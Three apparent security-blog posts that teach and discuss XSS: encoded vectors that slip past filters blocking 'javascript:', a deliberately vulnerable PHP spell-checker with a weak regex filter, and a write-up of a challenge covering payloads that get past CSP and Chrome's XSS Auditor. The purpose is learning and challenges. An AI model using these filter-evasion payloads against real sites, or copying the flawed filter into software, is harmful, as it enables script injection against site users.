Alternative to Javascript Pseudo-Protocol

Browsers accept “javascript:” in their address bar as a way to execute javascript code, which makes it a pseudo-protocol instead of a real one like “http:”, for example. It can be used in the same way as an URL when calling an external resource. Example:

<a href=javascript:alert(1)>

Contrary to Data URI scheme (“data:”), the javascript one executes in same context of the actual page, being very useful in open redirect vulnerabilities and in some XSS vectors. But it’s as useful as easy to be detected and blocked by a filter or WAF.

In fact, we can use mixed case and encode it with HTML entities (see an easy-to-use list here) like:

Javas&#99;ript:alert(1)

(URL-encoded form)
Javas%26%2399;ript:alert(1)

But it’s still easy to flag.

Here is another way to pass a filter that is blocking “javascript:”. Let’s consider we have the following XSS vector:

<iframe src=javascript:alert(1)>

In a generic URL like this:

http(s)://host/page?p=XSS

Where “host” is an IP address or domain, “page” is the vulnerable page and “p” is the vulnerable parameter.

In order to bypass filtering of all forms of “javascript:” we call the same vulnerable URL again with another vector (<svg onload>), this time double URL encoded:

This also respects “X-Frame-Options: SAMEORIGIN” HTTP security header, because it calls itself. Notice that we double encoded key points of the second vector, to avoid regex for event handlers based in “on” plus something and equal sign.

A live example is here (open it in Firefox).

Other XSS vectors that work with “javascript:” also work with this self-calling method. Good examples are:

<object data=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>

<embed src=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>

See this cheat sheet for more vectors.

There’s also a variation using HTML entities, which although we are considering them being blocked by filter/WAF, can be used in a slightly different way:

<iframe src=?p=%26lt;svg/o%256Eload%26equals;alert(1)%26gt;>

Assuming that filtering only for the HTML entities suitable for “javascript:” are in place.

#hack2learn

XSS Filter Bypass With Spell Checking

Some sites offer spell checking as a feature of their search functionality or translation application. While this might be a good idea from an user perspective, it can also be a bad idea for one who is trying to avoid XSS in his/her code. For example, this page can be XSSed in several different ways but there’s one particularly elegant and applicable to other similar scenarios as well.

Here is its source code. Notice there’s a basic filtering, after developer got a “but report”. 🙂

<!DOCTYPE html>
<body>
<h3>Spell Checker</h3>
<form action="" method="POST">
<input type="text" name="q">
<input type="submit">
</form>
<br>
<?php
$q = $_REQUEST["q"];
if ($q) {

   // ==============================================================
   // XSS Fix after a Bug Report!

   $q = preg_replace("/<script.*|javascript.*/i", "[FILTERED]", $q);

   // ==============================================================

   $keywords = explode(" ", $q);
   $pspell_link = pspell_new("en");
   echo "Did you mean: <i>";

   foreach ($keywords as $keyword) {

      if (!pspell_check($pspell_link, $keyword)) {
         $suggestions = pspell_suggest($pspell_link, $keyword);
         echo preg_replace("/[a-zA-Z]+/", $suggestions[0], $keyword) . " ";
      } else {
         echo "$keyword ";
      }
   }
   echo "</i> ?\n";
}
?>
</body>
</html>

Knowing that only “<script” and “javascript” (case insensitive) are filtered, can you XSS it? Don’t think it’s that easy because what’s reflected in source code is not your input but the suggestion of your input. For the record, that PHP code is based on this one from official PHP website.

Play with it and see how it behaves. It will be funny to see how your attempts will get messed so share with your friends and followers!

Didn’t find a solution or just want to see a XSS tool finding it? Check KNOXSS – XSS Discovery Service. For Pro users there’s a native payload for it but if you don’t have a plan yet there’s an easter egg (!) in demo so anyone can see it. Just register for free and feed it with the GET based URL: http://brutelogic.com.br/spell/?q=1

It works even in Google Chrome but Firefox is suggested. Although Standard version can’t find this one, users of this plan can also access KNOXSS demo interface (logged in) to see it in action.

Have fun!

#hack2learn

XSS Challenge I

chall1

Some weeks ago, a XSS challenge was launched: the goal was to pop an alert(1) box in latest Google Chrome at that time (version 53). Code was minified (made by just one continuous line) which always brings interesting possibilities to handle input injections. Also, there was a CSP (Content Security Policy) header that didn’t allow external calls.

Submitted Solutions

Among the solutions, this was the longest:

“><iframe src=”/tests/cors/%23/tests/auditor.php?q1=<img/src=x onerror=alert(1)”

Which uses a demo page in the same domain to trigger an alert. Valid, but somewhat pointless since this domain is full of these.

All other solutions are very similar, with almost all of them making use of double reflection tricks to put alert(1) and <script> in a reverse order:

%0aalert(1);/”><script>///

chall1-1

As we can see in the screenshot of source code above, the injection jumps to line 2 (new line, %0A), where the first alert(1) appears. There, this alert(1) is just the value of the input attribute until the “> is found to close the current tag. It then opens a script tag and comment the rest of the line (line 2).

Because the injection is reflected twice, this time inside the value of the original “p” javascript variable (which no longer exists due to previous comments), another jump is made to line 3, where the alert(1) can finally execute. After it, to not throw a syntax error, a string in a regex (regular expression) form is made by the first pair of slashes (/##<script#/), with some chars modified by filter and commenting the rest at the end (the final double slashes).

All submitted solutions are, in some way or another, a variation of this 26 chars one. First and second places of this challenge used the same trick to get rid of the new line (URL encoded) to save 2 chars, submitting the solution by POST HTTP method:

<form action=”http://brutelogic.com.br/chall/minified.php” method=”POST” enctype=”multipart/form-data”>
<textarea name=p id=p>
alert(1)-/><script>///</textarea>
</form>
<script>document.forms[0].submit(); </script>

In this way, the new line is sent without the need of %0A (payload in red). The shortest GET method based solution was provided by third place, with 25 chars:

*//”><script>/*alert(1)//

Which works in a similar way as previous ones, but saving one char by reusing the * from the comments block to also “concatenate” the regex to alert(1).

Intended Solution

This challenge was designed to share a curious solution, the intended one. Although not the shortest and probably because of that it was overlooked by participants, it certainly brings a useful trick to use against Chrome’s anti-XSS filter.

</input/”><svg><script>alert(1)//

chall1-2

As we can see in red in source code, Chrome’s Auditor flags the injection but it’s executed anyway. It worked by the simple assumption that the only thing that doesn’t allow <svg><script>alert(1)// to work alone (before reaching the </script>) is the native <script> tag.

To disable it, we just enclose it by a pair of tags, like <input>. We already have one inside our <svg><script> block, so adding a closing one (</input>), code can run without syntax error. Notice that the greater than sign is turned into # in the </input/ tag but the “>” found a little bit further (in “if(p.length>0)” snippet) make it work properly.

Conclusion

More info can be found below, in the tweet itself (check replies) and in the write-up by one of the winners.

It seemed to be a good challenge to practice some XSS filter skills, as pointed out by some participants. It also had some nice prizes provided by sponsors, Hackfest CA, Sucuri and BHaFSec. Stay tuned to my twitter account @brutelogic for the next ones!

#hack2learn